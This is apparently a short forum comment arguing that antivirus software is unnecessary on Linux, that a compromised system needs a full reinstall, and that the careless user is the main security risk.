    Since when Linux systems have antivirus as a norm? You could scan some unnecessary executable downloads, but that's it. There is no need for permanent resource hog sitting, eating and making you smile by a security illusion. When some bad code has run, the system has to be reinstalled fully. It's already dead inside. So when you install some unknown code, you could as well do that. The greatest security threat is still the promiscuous user.